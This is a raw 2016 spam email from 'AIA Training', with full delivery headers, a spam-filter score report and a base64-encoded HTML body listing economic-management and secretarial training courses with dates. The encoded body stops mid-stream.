h=MIME-Version:Subject:Date:From:Reply-To:To:Message-ID:List-Unsubscribe:Content-Type; q=dns/txt; s=api; t=1475436965; bh=Xl38ooWr1FCNlJXK3AW+EiPy1QllRgLdu+OIieKJ2HY=; b= RQ8lKGMZ+Z/AWw+bOnWAiMKdiTdMIiGomNnDVZklb/+1NSDjN+sR9HF2MqJbYc2aCuC7Gn+zhFbboZSimYFcgKOCQ5r6ooojxsrJtfSVtgHwBSXdGJGREstXfAkFTbkrHQ5Mt63FZo7b0jW3yDMl89/lqtuwLmPls8U+zgoZ43c= From: AIA Training To: Date: Sun, 02 Oct 2016 19:31:28 +0000 Subject: No course fee required.. Attend a Course today!!! Message-Id: <4tzealm5kudv.oqvkShammAmQQbUPd3PodQ2@LUE6.trk.elasticemail.com> X-ASG-Orig-Subj: No course fee required.. Attend a Course today!!! Reply-To: aiatedu@yahoo.com Sender: AIA Training List-Unsubscribe: =?us-ascii?q?=3Cmailto=3Aunsubscribe+oqvkShammAmQQbUPd3PodQ2=40bounces=2Eelasticem?= =?us-ascii?q?ail=2Enet=3Fsubject=3Dunsubscribe=3E=2C?= =?us-ascii?q?_=3Chttp=3A=2F=2FLUE6=2Etrk=2Eelasticemail=2Ecom=2Ftracking=2Funsubscribe=3Fmsgid=3D?= =?us-ascii?q?oqvkShammAmQQbUPd3PodQ2=3E?= X-Mailer: LUE6.trk.elasticemail.com X-Msg-EID: oqvkShammAmQQbUPd3PodQ2 MIME-Version: 1.0 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 Delivered-To: pcp-gui@packages.debian.org X-Barracuda-Connect: picconi.debian.org[5.153.231.3] X-Barracuda-Start-Time: 1475437041 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 43157 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.26 X-Barracuda-Spam-Status: No, SCORE=1.26 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC7_SA_HREF_WWW_MISMATCH, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_HTML_ONLY, PLING_PLING X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33411 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.80 BSF_SC7_SA_HREF_WWW_MISMATCH BODY: Custom Phishing Mismatch 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.46 PLING_PLING Subject has lots of exclamation marks PCFET0NUWVBFIGh0bWwgUFVCTElDICIgLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRp b25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFu c2l0aW9uYWwuZHRkIj48aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRt bCI+PGhlYWQ+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aXRs ZT48L3RpdGxlPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4 dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij48bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0i d2lkdGg9ZGV2aWNlLXdpZHRoIj48c3R5bGUgdHlwZT0idGV4dC9jc3MiPiAgICBib2R5LCBo dG1sIHsgICAgICAgIHdpZHRoOiAxMDAlICFpbXBvcnRhbnQ7ICAgICAgICBtYXJnaW46IDA7 ICAgICAgICBwYWRkaW5nOiAwOyAgICAgICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50 aWFsaWFzZWQ7ICAgICAgICAtd2Via2l0LXRleHQtc2l6ZS1hZGp1c3Q6IG5vbmU7ICAgICAg ICAtbXMtdGV4dC1zaXplLWFkanVzdDoxMDAlOyAgICB9ICAgIHRhYmxlIHRkLCB0YWJsZSB7 ICAgICAgICBtc28tdGFibGUtbHNwYWNlOiAwcHQ7ICAgICAgICBtc28tdGFibGUtcnNwYWNl OiAwcHQ7ICAgIH0gICAgI291dGxvb2sgYSB7ICAgICAgICBwYWRkaW5nOiAwOyAgICB9ICAg IC5FeHRlcm5hbENsYXNzLCAuRXh0ZXJuYWxDbGFzcyBwLCAuRXh0ZXJuYWxDbGFzcyBzcGFu LCAuRXh0ZXJuYWxDbGFzcyBmb250LCAuRXh0ZXJuYWxDbGFzcyB0ZCwgLkV4dGVybmFsQ2xh c3MgZGl2IHsgICAgICAgIGxpbmUtaGVpZ2h0OiAxMDAlOyAgICB9ICAgIC5FeHRlcm5hbENs YXNzIHsgICAgICAgIHdpZHRoOiAxMDAlOyAgICB9ICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBh bmQgKG1heC13aWR0aDogNDgwcHgpIHsgICAgICAgIHRhYmxlLCB0YWJsZSB0ciB0ZCwgdGFi bGUgdGQgeyAgICAgICAgICAgIHdpZHRoOiAxMDAlICFpbXBvcnRhbnQ7ICAgICAgICB9ICAg ICAgICBpbWcgeyAgICAgICAgICAgIHdpZHRoOiBpbmhlcml0OyAgICAgICAgfSAgICAgICAg LmxheWVyXzIgeyAgICAgICAgICAgIG1heC13aWR0aDogMTAwJSAhaW1wb3J0YW50OyAgICAg ICAgfSAgICB9PC9zdHlsZT48L2hlYWQ+PGJvZHkgc3R5bGU9InBhZGRpbmc6IDBweDsgbWFy Z2luOiAwcHg7Ij4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0YWJsZSBzdHlsZT0iaGVpZ2h0OiAxMDAlOyB3aWR0aDogMTAwJTsg YmFja2dyb3VuZC1jb2xvcjogcmdiKDIzOSwgMjM5LCAyMzkpOyIgYWxpZ249ImNlbnRlciI+ ICAgICAgICA8dGJvZHk+ICAgICAgICAgICAgPHRyPiAgICAgICAgICAgICAgICA8dGQgdmFs aWduPSJ0b3AiIGlkPSJkYm9keSIgZGF0YS12ZXJzaW9uPSIyLjIwIiBzdHlsZT0icGFkZGlu Zy10b3A6MzBweDtwYWRkaW5nLWJvdHRvbTozMHB4O2JhY2tncm91bmQtY29sb3I6I2VmZWZl Zjt3aWR0aDoxMDAlOyI+PCEtLVtpZiAoZ3RlIG1zbyA5KXwoSUUpXT48dGFibGUgc3R5bGU9 IndpZHRoOjgwMHB4IiB3aWR0aD0iODAwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGluZz0i MCIgY2VsbHNwYWNpbmc9IjAiIGJvcmRlcj0iMCI+PHRyPjx0ZD48IVtlbmRpZl0tLT4gICAg ICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz0ibGF5ZXJfMSIgYWxpZ249ImNlbnRlciIg Ym9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJtYXgt d2lkdGg6ODAwcHg7Ym94LXNpemluZzpib3JkZXItYm94O3dpZHRoOjEwMCU7Ij4gICAgICAg ICAgICAgICAgICAgICAgICA8dGJvZHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 cj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iZHJvdyIgdmFs aWduPSJ0b3AiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJib3gtc2l6aW5nOmJvcmRlci1ib3g7 Zm9udC1zaXplOjBweDt0ZXh0LWFsaWduOmNlbnRlcjtiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm ZmY7Ij4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tW2lmIChndGUg bXNvIDkpfChJRSldPjx0YWJsZSB3aWR0aD0iMTAwJSIgYWxpZ249ImNlbnRlciIgY2VsbHBh ZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBib3JkZXI9IjAiPjx0cj48dGQ+PCFbZW5kaWZd LS0+PGRpdiBjbGFzcz0ibGF5ZXJfMiIgc3R5bGU9ImRpc3BsYXk6aW5saW5lLWJsb2NrO3Zl cnRpY2FsLWFsaWduOnRvcDt3aWR0aDoxMDAlO21heC13aWR0aDo4MDBweDsiPiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgY2xhc3M9ImVkY29udGVu dCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7d2lkdGg6MTAwJSIgYm9yZGVy PSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5PiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4gICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJlZGltZyIgdmFsaWdu PSJ0b3AiIHN0eWxlPSJib3gtc2l6aW5nOmJvcmRlci1ib3g7dGV4dC1hbGlnbjpjZW50ZXI7 Ij4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDxpbWcgc3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IG5vbmU7 IG1heC13aWR0aDogODAwcHg7IHdpZHRoOiAxMDAlOyIgd2lkdGg9IjgwMCIgYWx0PSJJbWFn ZSIgc3JjPSJodHRwczovL2FwaS5lbGFzdGljZW1haWwuY29tL3VzZXJmaWxlL2I5ZjNlNzQx LTY1NzAtNDM4Yy1iMTdhLWIyOTI4NDVjYzRlNy9haWF0LmpwZyI+ICAgICAgICAgICAgICAg ICAgICAgICAgICAgPC90ZD4gICAgICAgICAgICAgICAgICAgICAgIDwvdHI+ICAgICAgICAg ICAgICAgICAgIDwvdGJvZHk+ICAgICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgIDwv ZGl2PjwhLS1baWYgKGd0ZSBtc28gOSl8KElFKV0+PC90ZD48L3RyPjwvdGFibGU+PCFbZW5k aWZdLS0+ICAgICAgIDwvdGQ+ICAgPC90cj4gICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dHI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImRyb3ci IHZhbGlnbj0idG9wIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0iYm94LXNpemluZzpib3JkZXIt Ym94O2ZvbnQtc2l6ZTowcHg7dGV4dC1hbGlnbjpjZW50ZXI7YmFja2dyb3VuZC1jb2xvcjoj ZmZmZmZmOyI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLVtpZiAoZ3RlIG1zbyA5KXwoSUUpXT48 dGFibGUgd2lkdGg9IjEwMCUiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxs c3BhY2luZz0iMCIgYm9yZGVyPSIwIj48dHI+PHRkPjwhW2VuZGlmXS0tPjxkaXYgY2xhc3M9 ImxheWVyXzIiIHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazt2ZXJ0aWNhbC1hbGlnbjp0 b3A7d2lkdGg6MTAwJTttYXgtd2lkdGg6ODAwcHg7Ij4gICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRhYmxlIGNsYXNzPSJlZGNvbnRlbnQiIHN0eWxlPSJib3Jk ZXItY29sbGFwc2U6IGNvbGxhcHNlO3dpZHRoOjEwMCU7IiBib3JkZXI9IjAiIGNlbGxwYWRk aW5nPSIyMCIgY2VsbHNwYWNpbmc9IjAiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPHRib2R5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0cj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJlZHRleHQiIHZhbGlnbj0idG9wIiBzdHls ZT0idGV4dC1hbGlnbjpsZWZ0O2NvbG9yOiM1ZjVmNWY7Zm9udC1zaXplOjEycHg7Zm9udC1m YW1pbHk6SGVsdmV0aWNhLEFyaWFsLHNhbnMtc2VyaWY7d29yZC1icmVhazpicmVhay13b3Jk O2RpcmVjdGlvbjpsdHI7Ym94LXNpemluZzpib3JkZXItYm94OyI+PGRpdj48cCBzdHlsZT0i bWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAz NCwgMzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21h bGw7IHdpZG93czogMTsiPkhpLDwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0 LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFs bDsgd2lkb3dzOiAxOyI+PGJyIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250 LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czog MTsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTog YXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPkF0dGVu ZCBhIGNvdXJzZSB3aXRoIHVzIGZvciBmcmVlLCBpZiAzIG9yIG1vcmUgb2YgeW91ciBmZWUg cGF5aW5nJm5ic3A7Y29sbGVhZ3VlcyBhcmUgYXR0ZW5kaW5nJm5ic3A7c2FtZSBjb3Vyc2Uu Jm5ic3A7PC9zcGFuPjwvcD48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxz cGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWws IHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjxicj48L3NwYW4+ PC9wPjxwIHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+PHNwYW4gc3R5bGU9ImNv bG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsg Zm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+T2ZmZXIgbGFzdCB0aWxsIE5vdmVtYmVy ITwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5 OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PGJy IHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNh bnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjxzdHJvbmc+RUNPTk9N SUMgTUFOQUdFTUVOVCAmYW1wOyBQT0xJQ1kgQU5BTFlTSVMgQ09VUlNFUzwvc3Ryb25nPjwv cD48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdp ZHRoPSI5MzYiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTog YXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjx0Ym9k eT48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RU1QQTwvc3Ryb25nPjwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+Q09VUlNFIFRJVExFPC9zdHJv bmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EdXJhdGlvbjwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RGF0ZXM8L3N0cm9u Zz48L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMTwv c3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2VkIE1hY3JvZWNv bm9taWMgQW5hbHlzaXMgUHJvZ3JhbW1lPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmViIC8gMDEg LSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjxzdHJvbmc+MDAyPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+UG9saWN5IEFuYWx5c2lzIEZvciBTZW5pb3IgTWFuYWdlcjwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wNCAt IDE1IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0gMDQgTm92PC90ZD48L3RyPjx0cj48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDM8L3N0cm9uZz48L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij5Qb2xpY3kgRGV2ZWxvcG1lbnQgQW5kIFN0cmF0ZWdpYyBN YW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MjkgRmViIC0gMDQgTWFyIC8gMjAgLSAyNCBKdW4gLyAw MyAtIDA3IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+MDA0PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+VHJhZGUgQW5k IEludmVzdG1lbnQgUHJvbW90aW9uIFByb2dyYW1tZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZl YiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPlRyYWRlIE5lZ290aWF0aW9uIFNraWxsczwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjI5IEZlYiAt IDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPlRyYWRlIFBvbGljeSBEZXZlbG9wbWVudCBBbmQgTWFjcm9lY29u b21pYyBBbmFseXNpczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8g MDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPjAwNzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2Vk IFBvbGljeSBNYW5hZ2VtZW50IEFuZCBFdmFsdWF0aW9uPC90ZD48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MTUgLSAxOSBG ZWIgLyAwNiAtIDEwIEp1biAvIDE5IC0gMjMgU2VwdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA4PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+UHVibGljIFByaXZhdGUgUGFydG5lcnNoaXAgTWFuYWdlbWVudDwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwv dHI+PC90Ym9keT48L3RhYmxlPjxwIHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+ PHNwYW4gc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlh bCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+Jm5ic3A7PC9z cGFuPjxiciBzdHlsZT0iY29sb3I6IHJnYigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFy aWFsLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IHNtYWxsOyB3aWRvd3M6IDE7Ij48c3Ryb25n PlNFQ1JFVEFSSUFMICZhbXA7Jm5ic3A7QURNSU5JU1RSQVRJT04mbmJzcDtDT1VSU0VTPC9z dHJvbmc+PC9wPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2lu Zz0iMCIgd2lkdGg9IjkzNiIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQt ZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAx OyI+PHRib2R5Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5TQTwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+Q09VUlNFIFRJVExF PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EdXJhdGlv bjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RGF0ZXM8 L3N0cm9uZz48L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25n PjAwMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2VkIFNl Y3JldGFyaWFsICZhbXA7IFBlcnNvbmFsIEFzc2lzdGFudCBQcm9ncmFtbWU8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+MjIgRmViIC0gMDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3Ry Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDI8L3N0cm9uZz48L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5NYW5hZ2VtZW50IERldmVsb3BtZW50IFByb2dy YW1tZSBmb3IgU2VjcmV0YXJpYWwgJmFtcDsgQWRtaW5pc3RyYXRvcnM8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48 dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAzPC9zdHJvbmc+PC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UHJvZmVzc2lvbmFsIERldmVsb3BtZW50IFByb2dy YW1tZSBmb3IgU2VjcmV0YXJpZXM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdl ZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAyMCAt IDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+PHN0cm9uZz4wMDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij5Qcm9mZXNzaW9uYWwgRXhlY3V0aXZlIFNlY3JldGFyaWVzIGFuZCBBZG1pbmlzdHJhdG9y cyBQcm9ncmFtbWU8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0 IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+MDA1PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5j ZWQgU2VjcmV0YXJpZXMgYW5kIEV4ZWN1dGl2ZSBBc3Npc3RhbnRzIFByb2dyYW1tZTwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8L3Rk PjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNjwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkRhdGEgYW5kIHJlY29yZHMgTWFuYWdl bWVudCBQcm9ncmFtbWUgZm9yIFNlY3JldGFyaWVzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjkgRmViIC0gMDQg TWFyIC8gMjAgLSAyNCBKdW4gLyAwMyAtIDA3IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA3PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+QWR2YW5jZWQgQ29tcHV0ZXIgUHJvZ3JhbW1lIGZvciBTZWNyZXRhcmll czwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBP Y3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwODwv c3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkVsZWN0cm9uaWMgRGF0YSBh bmQgcmVjb3JkcyBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBX ZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmViIC8gMDEgLSAx MiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjxzdHJvbmc+MDA5PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ Q3VzdG9tZXIgQ2FyZSBhbmQgQ3VzdG9tZXIgUmVsYXRpb25zIFByb2dyYW1tZSBmb3IgU2Vj cmV0YXJpZXM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9j 